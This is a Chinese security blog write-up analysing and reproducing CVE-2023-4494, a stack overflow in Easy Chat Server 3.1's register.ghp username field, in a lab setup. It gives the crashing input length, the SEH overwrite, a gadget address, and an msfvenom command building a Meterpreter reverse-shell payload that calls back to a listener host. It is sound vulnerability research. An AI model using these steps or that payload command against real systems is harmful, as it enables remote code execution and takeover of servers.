Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现
2023-12-14 11:55:30 Author: www.4hou.com(查看原文) 阅读量:14 收藏

盛邦安全 技术 刚刚发布

1383

收藏

导语:Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。

漏洞概述

Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。近日,安全研究人员发现该软件还存在基于栈溢出的漏洞,漏洞编号CVE-2023-4494。该漏洞源于使用HTTP GET对register.ghp文件进行访问时,未检查用户提交的username值的长度是否超过限制,从而使栈缓冲区溢出,覆盖其他内存空间,可导致任意代码执行。

影响范围

<=3.1

复现环境

操作系统:Win7 sp1,Kali linux

分析工具:IDA,Windbg,OLLYDBG,Burp Suite

漏洞复现

安装3.1版本的Easy Chat Server程序,安装完成后主程序路径为C:\EFS Software\Easy Chat Server\EasyChat.exe。当前服务器IP为192.168.220.128,启动主程序后,主界面如下图所示:

QQ截图20231208092942.png

使用浏览器对主页进行访问,Web主界面如下图所示:

QQ截图20231208093008.png

根据CVE官方公告,使用HTTP GET对register.ghp文件进行访问时,username字段可导致漏洞产生。所以使用浏览器访问http://192.168.220.128/register.ghp?username=test进行尝试,Web响应界面如下图所示:

QQ截图20231208093036.png

可以看出,register.ghp可能是用户注册页面。同时反编译EasyChat.exe程序,发现还需要传递Password等字段。反编译如下图所示:

QQ截图20231208093130.png

再次使用浏览器访问http://192.168.220.128/register.ghp?username=test&&password=testpwd进行尝试,同时使用Burp Suite进行抓包。根据抓取的数据包,对username字段进行fuzz,尝试找到使主程序崩溃的username值。Burp Suite设置如下图所示:

QQ截图20231208093148.png

当username字段的值为485个A时,Easy Chat Server没有响应HTTP 200,此时Easy Chat Server主程序已经崩溃,说明此时的username值可能导致了漏洞,如下图所示:

QQ截图20231208093212.png

QQ截图20231208093218.png

漏洞分析

根据以上复现情况,找到了使Easy Chat Server主程序崩溃的username值,但是还没有确定是否是溢出而导致的崩溃。重启Easy Chat Server主程序,使用Windbg附加调试,再用Burp Suite将上述复现时的数据包发送到Easy Chat Server主程序。Windbg立即捕获到异常,如下图所示:

QQ截图20231208093244.png

从Windbg中的函数调用堆栈中可以看到,异常发生在HeapFree函数内部。该函数的功能是释放堆内存空间,从代码中可以看出,试图读取一个不存在的地址41414145的数据,导致了异常。另外,函数调用堆栈中出现大量非法的内存指针值和username中的A字符(十六进制41),似乎是函数返回地址被大量A覆盖了。为了更直观的调试,重启Easy Chat Server主程序,使用OLLYDBG附加调试。在上述出现异常的HeapFree函数地址441AFD处下断点,再用Burp Suite发送异常数据包。在异常发生前最后一次HeapFree处停下,观察函数堆栈,如下图所示:

QQ截图20231208093308.png

此时栈中出现大量HTTP GET发送的username字段值,继续往下查看,发现堆栈中结构化异常处理(SEH)地址已被username字段的值覆盖为41414141,说明发生了栈溢出,如下图所示:

QQ截图20231208093326.png

由于堆栈地址并不是固定的,不方便下断点。所以从异常发生的前一次HeapFree函数地址处单步调式,观察堆栈SEH地址变化。经过多次调试,发现在地址4114FB处的sprintf函数调用,覆盖了SEH和函数返回地址等值,如下图所示:

QQ截图20231208093346.png

此时Buffer变量大小为256,小于HTTP GET时提交的username的大小485,导致栈溢出,从而导致后面调用HeapFree函数也异常,如下图所示:

QQ截图20231208093407.png

调用sprintf函数前SEH和函数返回地址,如下图所示:

QQ截图20231208093428.png

QQ截图20231208093435.png

漏洞利用

从上述的分析中可以看出,调用sprintf函数拼接username字段前,没有检查username的长度是否超出限制,并且username字段可控,导致栈溢出,可以覆盖SEH和函数返回地址,导致任意代码执行。

对于此类漏洞的利用,一般来说可以将SEH函数地址或者函数返回地址覆盖为栈中可控内容的地址,比如username字段对应的栈地址。但是由于栈地址不固定,需要借助一些固定的代码地址作为跳板,构建ROP(Return-oriented programming)链,跳转到可控内容地址执行任意代码。如果程序开启了DEP(数据执行保护),还需要使用ROP链关闭DEP。

经查,该程序未开启DEP,如下图所示:

QQ截图20231208093516.png

ROP链使用SSLEAY32.DLL地址为1001AE86处的“pop ebp”,” pop ebx”和“retn”指令,将该地址覆盖到SEH函数处,如下图所示:

QQ截图20231208093536.png

利用该漏洞执行的代码,笔者这里使用msf的上线payload(载荷)。值得注意的是,payload中不能有00或空格等字符,以免发生截断,导致利用失败。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b "\x00\x20" -v shellcode生成python格式的payload,如下图所示:

QQ截图20231208093555.png

整个漏洞利用结构示意图,如下图所示:

QQ截图20231208093615.png

使用python编写利用脚本,如下图所示:

QQ截图20231208093635.png

最后在kali中启动msf,监听对应的端口8888,运行漏洞利用脚本,msf成功上线,如下图所示:

QQ截图20231208093653.png

POC

https://www.ddpoc.com/poc/DVB-2023-5622.html

如若转载,请注明原文地址

  • 分享至

取消 嘶吼

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟


文章来源: https://www.4hou.com/posts/m0xE
如有侵权请联系:admin#unsafe.sh